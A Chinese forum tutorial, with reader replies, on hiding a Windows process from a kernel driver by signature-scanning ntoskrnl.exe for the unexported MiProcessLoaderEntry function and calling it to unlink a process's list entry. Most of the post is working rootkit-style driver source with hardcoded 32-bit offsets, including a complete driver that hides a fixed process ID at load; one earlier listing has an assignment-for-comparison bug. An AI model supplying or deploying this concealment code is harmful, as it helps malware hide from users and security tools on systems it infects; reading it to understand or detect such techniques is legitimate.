大理寺少卿 发表于 2025-5-21 23:48:58

驱动开发与系统原理-MiProcessLoaderEntry隐藏进程

MiProcessLoaderEntry在内核文件ntoskrnl.exe中,我们可以通过这个函数API隐藏进程,有两个参数,第一个为PLIST_ENTRY类型的结点,第二个参数为TRUE/FALSE

我们可以通过遍历驱动,找到ntoskrnl.exe,然后通过特征码搜索,找到该函数地址,再通过函数指针调用该函数

操作
----

1.第一步——获取特征码:

![](https://raw.githubusercontent.com/Whitebird0/tuchuang/main/QQ%E6%88%AA%E5%9B%BE20220118191248.png)

我们可以在ntoskrnl.exe找到MiProcessLoaderEntry函数,随便找两段字节码作为特征码(防止一段字节码可能不准确,另外最好往中间找,函数开始和末尾大部分为初始化操作,可能查找不准确)

CHAR szCodeFlag1[] = { 0xB1 ,0x1B ,0x88 ,0x45 ,0x0B };
CHAR szCodeFlag2[] = { 0x8B,0xCE,0xF0 ,0x0F,0xBA,0x29,0x1F };
2.第二步——遍历查找内核文件:

NTSTATUS SearchNtosKenlAddr(PDRIVER_OBJECT pDriverObject,ULONG *retNtosAddr){
    PLIST_ENTRY HeadNode = NULL;
    PLIST_ENTRY NextNode = NULL;
    UNICODE_STRING usKernelFileName;
    PUNICODE_STRING pusTempKernelFileName;
    RtlInitUnicodeString(&usKernelFileName, L"ntoskrnl.exe");
    HeadNode = (PLIST_ENTRY)(pDriverObject->DriverSection);
    NextNode = HeadNode->Flink;
    while (NextNode!=HeadNode)
    {
          pusTempKernelFileName = (PUNICODE_STRING)((ULONG)NextNode+0x2c);
          if (RtlCompareUnicodeString(pusTempKernelFileName, &usKernelFileName,TRUE)==0)
          {
            *retNtosAddr = (ULONG)NextNode;
            return STATUS_SUCCESS;
          }
      NextNode = NextNode->Flink;
    }
      return -1;
}
我们通过名字查找RtlCompareUnicodeString来遍历驱动链表,如果找到,就返回驱动文件的地址

0x2c偏移处存放的是驱动文件的名字,驱动文件的结构体是未导出的,需要我们自己定义

3.第三步——获取函数地址:

获取函数地址主要就是遍历内核文件字节码,匹配的时候返回即可,注意我们返回时需要注意减去特征码到函数首地址的偏移,这样才是真正的首地址

      NTSTATUS FindMiProcessLoaderEntryAddr(ULONG ulStartAddress,ULONG ulEndAddress,ULONG *retFunAddress){
    for (size_t i = ulStartAddress; i < ulEndAddress; i++)
      {
          if (memcmp(ulStartAddress, szCodeFlag1, sizeof(szCodeFlag1)) == 0) {
            if (memcmp(((char*)ulStartAddress + 0x23), szCodeFlag2, sizeof(szCodeFlag2)) == 0)
            {
            *retFunAddress = ulStartAddress;
            return STATUS_SUCCESS;
            }
          }
          (char*)ulStartAddress++;
      }
      return -1;
      }
0x23是两个特征码之间的偏移,两个特征码同时成立,才能算查找成功,返回的地址其实是第一个特征码的首地址,最后还需要处理

4.第四步——进程隐藏:

对于进程隐藏,其实就是对前面功能的整合

   NTSTATUS RemoveProcessListNode(PLIST_ENTRY pListNode) {
          ULONG ulNtosAddr;
          ULONG ulFunAddr;
          ULONG ulNtosStartAddr;
          ULONG ulNtosEndAddr;
          FunMiProcessLoaderEntry MyMiProcessLoaderEntry;
          SearchNtosKenlAddr(g_DriverObject, &ulNtosAddr);
          ulNtosStartAddr =*(ULONG*)(ulNtosAddr+0x18);
          ulNtosEndAddr = *(ULONG*)(ulNtosAddr + 0x20) + ulNtosStartAddr;
          FindMiProcessLoaderEntryAddr(ulNtosStartAddr, ulNtosEndAddr, &ulFunAddr);
          ulFunAddr = ulFunAddr - 0x1E;//获取函数头地址
          MyMiProcessLoaderEntry = ulFunAddr;
          MyMiProcessLoaderEntry(pListNode, FALSE);//true插入,false摘除
          return STATUS_SUCCESS;
      }
5.第五步——传入进程ID,遍历进程:

   NTSTATUS HideProcess(ULONG ulProcessid) {//参数为进程ID
      DWORD_PTR pEprocess = NULL;
      ULONG ulProcessID;
      pEprocess = (DWORD_PTR)PsGetCurrentProcess();//获取当前进程
      PLIST_ENTRY HeadNode = NULL;
      PLIST_ENTRY NextNode = NULL;
      HeadNode = (PLIST_ENTRY)(pEprocess + 0xb8);//0xb8为进程链表
      NextNode = HeadNode->Flink;//指向链表下一个
      while (NextNode!=HeadNode)
      {
          pEprocess = (DWORD_PTR)NextNode - 0xb8;//指向结构头
          ulProcessID = *((ULONG*)(pEprocess)+0xB4);//指向进程ID的指针,进行取值
          if (ulProcessID= ulProcessid)
          {
            RemoveProcessListNode(NextNode);//调用RemoveProcessListNode,删除进程
          }
          NextNode = NextNode->Flink;
      }
      return -1;
}
分解成多个步骤,就比较简单

效果
----

![](https://raw.githubusercontent.com/Whitebird0/tuchuang/main/QQ%E6%88%AA%E5%9B%BE20220118211006.png)

我们隐藏3560进程

![](https://raw.githubusercontent.com/Whitebird0/tuchuang/main/QQ%E6%88%AA%E5%9B%BE20220118211040.png)

现在已经消失了


```cpp
      #include<ntifs.h>
      #include<intrin.h>
      PDRIVER_OBJECT g_DriverObject = NULL;
      CHAR szCodeFlag1[] = { 0xB1 ,0x1B ,0x88 ,0x45 ,0x0B };
      CHAR szCodeFlag2[] = { 0x8B,0xCE,0xF0 ,0x0F,0xBA,0x29,0x1F };
      typedef VOID(*FunMiProcessLoaderEntry)(ULONG ulEntry, LOGICAL lflag);

      NTSTATUS FindMiProcessLoaderEntryAddr(ULONG ulStartAddress,ULONG ulEndAddress,ULONG *retFunAddress){

            for (size_t i = ulStartAddress; i < ulEndAddress; i++)
            {
            if (memcmp(ulStartAddress, szCodeFlag1, sizeof(szCodeFlag1)) == 0) {
                if (memcmp(((char*)ulStartAddress + 0x23), szCodeFlag2, sizeof(szCodeFlag2)) == 0)
                {
                  *retFunAddress = ulStartAddress;
                  return STATUS_SUCCESS;
                }
            }
            (char*)ulStartAddress++;
            }
            return -1;
          }

      NTSTATUS SearchNtosKenlAddr(PDRIVER_OBJECT pDriverObject,ULONG *retNtosAddr){
          PLIST_ENTRY HeadNode = NULL;
          PLIST_ENTRY NextNode = NULL;
          UNICODE_STRING usKernelFileName;
          PUNICODE_STRING pusTempKernelFileName;
          RtlInitUnicodeString(&usKernelFileName, L"ntoskrnl.exe");
          HeadNode = (PLIST_ENTRY)(pDriverObject->DriverSection);
          NextNode = HeadNode->Flink;
          while (NextNode!=HeadNode)
          {
                pusTempKernelFileName = (PUNICODE_STRING)((ULONG)NextNode+0x2c);
                if (RtlCompareUnicodeString(pusTempKernelFileName, &usKernelFileName,TRUE)==0)
                {
                  *retNtosAddr = (ULONG)NextNode;
                  return STATUS_SUCCESS;
                }
            NextNode = NextNode->Flink;
          }
            return -1;
      }

      NTSTATUS RemoveProcessListNode(PLIST_ENTRY pListNode) {
            ULONG ulNtosAddr;
            ULONG ulFunAddr;
            ULONG ulNtosStartAddr;
            ULONG ulNtosEndAddr;
            FunMiProcessLoaderEntry MyMiProcessLoaderEntry;
            SearchNtosKenlAddr(g_DriverObject, &ulNtosAddr);
            ulNtosStartAddr =*(ULONG*)(ulNtosAddr+0x18);
            ulNtosEndAddr = *(ULONG*)(ulNtosAddr + 0x20) + ulNtosStartAddr;
            FindMiProcessLoaderEntryAddr(ulNtosStartAddr, ulNtosEndAddr, &ulFunAddr);
            ulFunAddr = ulFunAddr - 0x1E;//获取函数头地址
            MyMiProcessLoaderEntry = ulFunAddr;
            MyMiProcessLoaderEntry(pListNode, FALSE);//true插入,false摘除
            return STATUS_SUCCESS;
      }
      NTSTATUS HideProcess(ULONG ulProcessid) {
            DWORD_PTR pEprocess = NULL;
            ULONG ulProcessID;
            pEprocess = (DWORD_PTR)PsGetCurrentProcess();
            PLIST_ENTRY HeadNode = NULL;
            PLIST_ENTRY NextNode = NULL;
            HeadNode = (PLIST_ENTRY)(pEprocess + 0xb8);
            NextNode = HeadNode->Flink;
            while (NextNode!=HeadNode)
            {
                pEprocess = ((DWORD_PTR)NextNode - 0xb8);//指向结构头
                ulProcessID = *(ULONG*)(pEprocess+0xB4);
                if (ulProcessID== ulProcessid)
                {
                  RemoveProcessListNode(NextNode);
                  return STATUS_SUCCESS;
                }
                NextNode = NextNode->Flink;
            }
            return -1;
      }

      VOID DriverUnload(PDRIVER_OBJECT pDriverObject) {

          DbgPrint("Unload Driver Success! ");

      }

      NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) {
          DbgPrint("Load Driver Success!");
            pDriverObject->DriverUnload = DriverUnload;
            g_DriverObject = pDriverObject;
            HideProcess(3560);
          return STATUS_SUCCESS;
          }

```

YINXN 发表于 2025-5-22 16:18:57

谢谢分享

woshuox 发表于 2025-5-22 21:20:48

学到很多,感谢

AO1199 发表于 2025-5-23 09:07:51

学习学习!!

ytyyty 发表于 4 天前

学习一下,谢谢

hualong007 发表于 4 天前

啥也不说了,楼主就是给力!

gusong 发表于 4 天前

感谢大佬分享{:-_-guzhang-_-:}

xht530 发表于 3 天前

感谢分享!!!!

asmprofan 发表于 前天 05:30

啥也不说了,楼主就是给力!
页: [1]
查看完整版本: 驱动开发与系统原理-MiProcessLoaderEntry隐藏进程